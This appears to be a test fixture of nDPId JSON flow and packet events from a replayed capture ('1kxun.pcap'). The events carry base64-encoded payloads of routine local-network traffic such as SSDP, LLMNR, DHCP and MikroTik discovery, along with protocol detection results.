+01002{"flow_id":91,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":940,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104405,"pkt_ts_usec":486949,"pkt_caplen":491,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":491,"pkt_l4_len":457,"pkt":"AQBef\/\/66LH8q\/uyCABFAAHdCfsAAAQR9UHAqAUx7\/\/\/+gdsB2wByURxTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly8xOTIuMTY4LjUuNDk6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +01035{"flow_id":92,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":941,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104405,"pkt_ts_usec":487124,"pkt_caplen":519,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":519,"pkt_l4_len":465,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAdERBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAHR82ROT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovL1tmZTgwOjo5YmQ6ODFkZDoyZmRjOjU3NTBdOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +00583{"flow_id":82,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":943,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104405,"pkt_ts_usec":589893,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6bEAIlAI6CABFAAClUIAAAAERsvXAqAUw7\/\/\/+sIlB2wAkY1JTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":947,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1470104405794,"flow_last_seen":0,"flow_tot_l4_data_len":129,"flow_min_l4_data_len":129,"flow_max_l4_data_len":129,"flow_avg_l4_data_len":129,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.119.2","dst_ip":"255.255.255.255","src_port":43786,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00572{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":947,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104405,"pkt_ts_usec":794164,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"\/\/\/\/\/\/\/\/TF4MVkdPCABFAACVAABAAEARAq7AqHcC\/\/\/\/\/6sKFi4AgSnvAAHqAgABAAZMXgxWR08ABQAJSVB2NlJvdXRlAAcADzYuMzUuNCAoc3RhYmxlKQAIAAhNaWtyb1RpawAKAAQGBzYAAAsACVZTMUwtUTE4UgAMAAZSQjQ1MEcADgABAQAPABAgAbAwAhQBAAAAAAAAAAABABAAA0xBTg=="} +00469{"flow_id":73,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":950,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104405,"pkt_ts_usec":998883,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOH4UAAIARld3AqAPswKj\/\/wCJAIkAOkhKiloBEAABAAAAAAAAIEZERVBFT0ZGRkRFT0VGRkVGSEVQRkNFTEZEQ0FDQUJNAAAgAAE="} +00582{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":951,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104405,"pkt_ts_usec":998978,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClQRgAAAQRv1vAqAUy7\/\/\/+vyiB2wAkVLKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00989{"flow_id":91,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":952,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104405,"pkt_ts_usec":999140,"pkt_caplen":482,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":482,"pkt_l4_len":448,"pkt":"AQBef\/\/66LH8q\/uyCABFAAHUCfwAAAQR9UnAqAUx7\/\/\/+gdsB2wBwMqTTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXBucDpyb290ZGV2aWNlDQpOVFM6IHNzZHA6YWxpdmUNCkxvY2F0aW9uOiBodHRwOi8vMTkyLjE2OC41LjQ5OjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVwbnA6cm9vdGRldmljZQ0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +01023{"flow_id":92,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":953,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104405,"pkt_ts_usec":999238,"pkt_caplen":510,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":510,"pkt_l4_len":456,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAcgRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAHIeYdOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cG5wOnJvb3RkZXZpY2UNCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly9bZmU4MDo6OWJkOjgxZGQ6MmZkYzo1NzUwXToyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyDQpVU046IHV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyOjp1cG5wOnJvb3RkZXZpY2UNCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +01097{"flow_id":91,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":954,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":104484,"pkt_caplen":562,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":562,"pkt_l4_len":528,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIkCf0AAAQR9PjAqAUx7\/\/\/+gdsB2wCELIPTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOm1pY3Jvc29mdC5jb206c2VydmljZTpYX01TX01lZGlhUmVjZWl2ZXJSZWdpc3RyYXI6MQ0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovLzE5Mi4xNjguNS40OToyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyDQpVU046IHV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyOjp1cm46bWljcm9zb2Z0LmNvbTpzZXJ2aWNlOlhfTVNfTWVkaWFSZWNlaXZlclJlZ2lzdHJhcjoxDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTkwMA0KU2VydmVyOiBNaWNyb3NvZnQtV2luZG93cy8xMC4wIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6IGQwN2I0MzVkMjk5YjQxNzg0Y2EzZDJhZTJiOTU5OTQ4DQoNCg=="} +01132{"flow_id":92,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":955,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":104623,"pkt_caplen":590,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":590,"pkt_l4_len":536,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAhgRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAIYYQNOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46bWljcm9zb2Z0LmNvbTpzZXJ2aWNlOlhfTVNfTWVkaWFSZWNlaXZlclJlZ2lzdHJhcjoxDQpOVFM6IHNzZHA6YWxpdmUNCkxvY2F0aW9uOiBodHRwOi8vW2ZlODA6OjliZDo4MWRkOjJmZGM6NTc1MF06Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMjo6dXJuOm1pY3Jvc29mdC5jb206c2VydmljZTpYX01TX01lZGlhUmVjZWl2ZXJSZWdpc3RyYXI6MQ0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +00579{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":958,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":305906,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMTgAAAER0jjAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00578{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":961,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":411323,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOxkAAAERyGTAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +01077{"flow_id":91,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":962,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":411434,"pkt_caplen":548,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":548,"pkt_l4_len":514,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIWCf4AAAQR9QXAqAUx7\/\/\/+gdsB2wCAmnTTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb25uZWN0aW9uTWFuYWdlcjoxDQpOVFM6IHNzZHA6YWxpdmUNCkxvY2F0aW9uOiBodHRwOi8vMTkyLjE2OC41LjQ5OjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29ubmVjdGlvbk1hbmFnZXI6MQ0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +01111{"flow_id":92,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":963,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":411576,"pkt_caplen":576,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":576,"pkt_l4_len":522,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAgoRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAIKzRJOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbm5lY3Rpb25NYW5hZ2VyOjENCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly9bZmU4MDo6OWJkOjgxZGQ6MmZkYzo1NzUwXToyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyDQpVU046IHV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyOjp1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbm5lY3Rpb25NYW5hZ2VyOjENCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +01074{"flow_id":91,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":964,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":514462,"pkt_caplen":546,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":546,"pkt_l4_len":512,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIUCf8AAAQR9QbAqAUx7\/\/\/+gdsB2wCAPPDTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb250ZW50RGlyZWN0b3J5OjENCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly8xOTIuMTY4LjUuNDk6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMjo6dXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb250ZW50RGlyZWN0b3J5OjENCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +01111{"flow_id":92,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":965,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":514664,"pkt_caplen":574,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":574,"pkt_l4_len":520,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAggRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAIIordOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbnRlbnREaXJlY3Rvcnk6MQ0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovL1tmZTgwOjo5YmQ6ODFkZDoyZmRjOjU3NTBdOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29udGVudERpcmVjdG9yeToxDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTkwMA0KU2VydmVyOiBNaWNyb3NvZnQtV2luZG93cy8xMC4wIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6IGQwN2I0MzVkMjk5YjQxNzg0Y2EzZDJhZTJiOTU5OTQ4DQoNCg=="} +00811{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":966,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":614297,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNOV2AgEGAF9T9vkAAAAAwKgFL8CoBS\/AqHcBAAAAAMw9gh7u4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":967,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1470104406717,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::edf5:240a:c8c0:8312","dst_ip":"ff02::1:3","src_port":53962,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":967,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":717230,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzMAAQADzD2CHu7jht1gAAAAACARAf6AAAAAAAAA7fUkCsjAgxL\/AgAAAAAAAAAAAAAAAQAD0soU6wAgjSs9jgAAAAEAAAAAAAAGUk9fWDFDAAD\/AAE="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":967,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1470104406717,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::edf5:240a:c8c0:8312","dst_ip":"ff02::1:3","src_port":53962,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":968,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1470104406717,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.47","dst_ip":"224.0.0.252","src_port":53962,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":105,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":968,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":717280,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AQBeAAD8zD2CHu7jCABFAAA0LR4AAAER5cfAqAUv4AAA\/NLKFOsAIEGyPY4AAAABAAAAAAAABlJPX1gxQwAA\/wAB"} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":968,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1470104406717,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.47","dst_ip":"224.0.0.252","src_port":53962,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00472{"flow_id":102,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":970,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104406,"pkt_ts_usec":818318,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQACvO57DLPeht1gAAAAACwRAf6AAAAAAAAAvu57\/\/4Ms97\/AgAAAAAAAAAAAAAAAQACAiICIwAsfJ0LBzLAAAEADgABAAEa5zhrJpdxkWmjAAgAAgEaAAYABAAXABg="} +00455{"flow_id":104,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":973,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104407,"pkt_ts_usec":128408,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzMAAQADzD2CHu7jht1gAAAAACARAf6AAAAAAAAA7fUkCsjAgxL\/AgAAAAAAAAAAAAAAAQAD0soU6wAgjSs9jgAAAAEAAAAAAAAGUk9fWDFDAAD\/AAE="} 